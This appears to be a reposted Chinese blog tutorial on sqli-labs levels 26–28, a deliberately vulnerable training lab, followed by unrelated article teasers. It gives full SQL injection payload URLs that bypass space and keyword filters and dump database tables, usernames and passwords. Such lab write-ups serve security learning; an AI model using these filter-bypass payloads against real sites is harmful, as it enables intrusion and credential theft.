sqli-lab靶场学习(八)——Less26-28

前言

25关已经出现了初步的一些关键字过滤,通过双写可以绕过。后面的关卡,我们会遇到更多关键字过滤,需要各种技巧绕过。

Less26

第26关写了会过滤空格和注释符。有很多的答案,会用%a0替代空格,但据说这是sqli-labs部署在在linux环境下的,而在windows环境下,我尝试了半天,只有用%0b可以替代空格。

 经过测试,我们发现为单引号闭合,并且会过滤掉各种空格,同时and和or也会被过滤:

http://localhost/sqli-labs/less-26/?id=1%27oorr%271%27=%271

 使用联合注入方式:

#测试回显
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,2,3'#回显库名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,database(),3'#爆表名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema="security"'#爆列名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name="users"'#爆用户名密码
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(username),group_concat(passwoorrd)%0bfrom%0busers%0bwhere%0b'1'='1

使用报错注入:

#库名
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,database()),1)||'1'='1#表名,因为group_concat因为回显长度问题显示不全,可使用limit逐个列出
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(table_name)FROM(infoorrmation_schema.tables)where(table_schema="security")limit%0b0,1)),1)||'1'='1#列名
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(column_name)FROM(infoorrmation_schema.columns)where(table_name="users")limit%0b0,1)),1)||'1'='1#用户名密码
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(username)FROM(users)limit%0b0,1)),1)||'1'='1
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(passwoorrd)FROM(users)limit%0b0,1)),1)||'1'='1

Less26a

less26需要括号闭合。另外这关没有输出报错信息,因此不可使用报错注入。

#测试回显
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,2,('3#回显库名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,(database()),3%0banandd('#爆表名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema="security"aandnd ('1'='1#爆列名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name="users"aandnd ('1'='1#爆用户名密码
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(username),group_concat(passwoorrd)%0bfrom%0busers%0bwhere%0b('1'='1

Less27

27关与26关相比,减少了and和or的过滤,增加了select和union的过滤。前年我们已经知道了可以通过双写方式绕过,对于select,直接写成seselectlect就可以了。

#库名
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,database()),1)||'1'='1#表名,因为group_concat因为回显长度问题显示不全,可使用limit逐个列出
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(table_name)FROM(information_schema.tables)where(table_schema="security")limit%0b0,1)),1)||'1'='1#列名
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(column_name)FROM(information_schema.columns)where(table_name="users")limit%0b0,1)),1)||'1'='1#用户名密码
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(username)FROM(users)limit%0b0,1)),1)||'1'='1
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(password)FROM(users)limit%0b0,1)),1)||'1'='1

Less28

28关写的是会过滤union和select,但实际似乎没有过滤,所以完全按照26a关的模式就好了

#回显库名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,(database()),3%0band('#爆表名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema="security"and ('1'='1#爆列名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name="users"and ('1'='1#爆用户名密码
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(username),group_concat(password)%0bfrom%0busers%0bwhere%0b('1'='1

小结

这几关都是讲关键字和符号过滤的。在ctf比赛中还有更变态的情况,把几乎所有关键字和空格都过滤了那种!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/72128.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python:VOC格式数据集转换为YOLO数据集格式

作者:CSDN _养乐多_ 本文将介绍如何将目标检测中常用的VOC格式数据集转换为YOLO数据集,并进行数据集比例划分,从而方便的进行YOLO目标检测。 如果不想分两步,可以直接看第三节代码。 文章目录 一、将VOC格式数据集转换为YOLO格…

Docker容器安装软件(完整版)

文章目录 一、安装Docker1.1 docker 相关的命令1.2 配置镜像加速 二. 安装es2.1 创建网络2.2 拉取镜像2.3 创建挂载点目录2.4 部署单点es,创建es容器2.5 编写elasticsearch.yml2.6 重启es容器2.7 测试Elasticsearch是否安装成功 三. 基于Docker安装Kibana3.1 拉取镜…

LINUX 指令大全

Linux服务器上有许多常用的命令,可以帮助你管理文件、目录、进程、网络和系统配置等。以下是一些常用的Linux命令: 文件和目录管理 ls:列出当前目录中的文件和子目录 bash lspwd:显示当前工作目录的路径 bash pwdcd:切…

燃气对我们生活的重要性体现在哪里?

燃气在我们的生活中有 多方面的重要性 ,以下是燃气对我们生活的重要性的详细说明: 烹饪和热水供应 : 燃气是家庭烹饪的主要能源,能够快速、高效地加热食物,使家庭聚餐更加便捷和愉快。 燃气热水器能够在短时间内提供…

NetAssist 5.0.14网络助手基础使用及自动应答使用方案

以下是NetAssist v5.0.14自动应答功能的详细使用步骤: 一、基础准备: 工具下载网址页面:https://www.cmsoft.cn/resource/102.html 下载安装好后,根据需要可以创建多个server,双击程序图标运行即可,下面…

node.js-node.js作为服务器,前端使用WebSocket(单个TCP连接上进行全双工通讯的协议)

1.WebSocket全双工通信协议 WebSocket是HTML5开始提供的一种单个TCP连接上进行全双工通讯的协议。让客户端和服务器间的数据交互变得简单,允许服务端向客户端主动推送数据。浏览器和服务器间只需要完成一次握手,两者间创建持久性的连接,并进行…

java后端开发day31--集合进阶(一)-----Collection集合List集合数据结构1

(以下内容全部来自上述课程) 1.集合体系结构 List系列集合:添加的元素是有序、可重复、有索引。 Set系列集合:添加的元素是无序、不重复、无索引。 2.Collection集合 Collection是单列集合的祖宗接口(不可直接创建…

Qt配置OpenGL相机踩的坑

项目根据LearnOpenGL配置Qt的相机,更新view矩阵和project矩阵的位移向量变得很大,我设置的明明相机位置是(0,0,3),理想的位移向量刚好是相反数(0,0,-3),对应的view矩阵位置向量可以变成(0,0,1200)…离模型非常远矩阵模型也看不见&…

【C++设计模式】第十六篇:迭代器模式(Iterator)

注意:复现代码时,确保 VS2022 使用 C17/20 标准以支持现代特性。 遍历聚合对象的统一方式 1. 模式定义与用途 核心思想 ​迭代器模式:提供一种方法顺序访问聚合对象的元素,而无需暴露其内部表示。关键用途: 1.​统一…

关于WPS的Excel点击单元格打开别的文档的两种方法的探究【为单元格添加超链接】

问题需求 目录和文件结构如下: E:\Dir_Level1 │ Level1.txt │ └─Dir_Level2│ Level2.txt│ master.xlsx│└─Dir_Level3Level3.txt现在要在master.xlsx点击单元格进而访问Level1.txt、Level2.txt、Level3.txt这些文件。 方法一:“单元格右键…

聚类中的相似矩阵和拉普拉斯矩阵

前言(可以略过) 最近在看的是关于聚类的论文,之前对聚类的步骤和相关内容不太了解,为了读懂论文就去学习了一下,这里将自己的理解记录下来。学习的不全面,主要是为了看懂论文,后续如果有涉及到聚…

前端笔记 --- vue框架

目录 基础知识 指令的修饰符 计算属性 watch侦听器的写法 Vue的生命周期 工程化开发&脚手架 VUE CLI 组件注册的方式 scoped样式冲突与原理 data 组件之间的关系和组件通信 v-model详解 sync修饰符 Dom介绍 操作HTML标签 总结 ref 和 $refs $nextTick 自…

智能双剑合璧:基于语音识别与大模型的技术沙龙笔记整理实战

智能双剑合璧:基于语音识别与大模型的技术沙龙笔记整理实战 ——记一次网络安全技术沙龙的高效知识沉淀 引言:当网络安全遇上AI生产力工具 在绿盟科技举办的"AI驱动的未来网络安全"内部技术沙龙中,笔者亲历了一场关于网络安全攻…

数据结构(蓝桥杯常考点)

数据结构 前言:这个是针对于蓝桥杯竞赛常考的数据结构内容,基础算法比如高精度这些会在下期给大家总结 数据结构 竞赛中,时间复杂度不能超过10的7次方(1秒)到10的8次方(2秒) 空间限制&#x…

使用 UNIX 命令在设计中搜索标识符:vcsfind 的入门指南

在现代软件开发和硬件设计中,快速准确地定位和搜索特定标识符是提高开发效率的关键。本文将介绍如何使用 UNIX 命令 vcsfind 在设计中搜索标识符,帮助您更高效地管理您的项目。 什么是 vcsfind? vcsfind 是一个强大的 UNIX 命令行工具&#x…

第56天:Web攻防-SQL注入增删改查盲注延时布尔报错有无回显错误处理审计复盘

#知识点 1、Web攻防-SQL注入-操作方法&增删改查 2、Web攻防-SQL注入-布尔&延时&报错&盲注 一、增删改查 1、功能:数据查询 查询:SELECT * FROM news where id$id 2、功能:新增用户,添加新闻等 增加:IN…

跳表实现学习

1.介绍 2.源码 跳表节点: /* ZSETs use a specialized version of Skiplists */ /*** brief 定义跳跃表节点的数据结构。* * 该结构体用于表示跳跃表中的一个节点,包含元素、分数、后向指针和多层链表信息。*/ typedef struct zskiplistNode {sds ele;…

Python:正则表达式

正则表达式的基础和应用 一、正则表达式核心语法(四大基石) 1. ​元字符(特殊符号)​ ​定位符 ^:匹配字符串开始位置 $:匹配字符串结束位置 \b:匹配单词边界​(如 \bword\b 匹配…

EB-Cable许可管理中的数据安全与隐私保护

在数字化时代,数据安全与隐私保护已成为企业关注的重中之重。作为专业的电缆管理软件,EB-Cable许可管理不仅在功能丰富和操作便捷方面表现出色,更在数据安全与隐私保护方面为用户提供了坚实的保障。本文将详细介绍EB-Cable许可管理在数据安全…

串口通信函数汇总-ing

谢谢各位佬的阅读,本文是我自己的理解,如果您发现错误,麻烦请您指出,谢谢 首先谈谈我自己对于串口的理解,随便拿一个嵌入式的板子,它上面有两个引脚,一个是rx,一个是tx,r…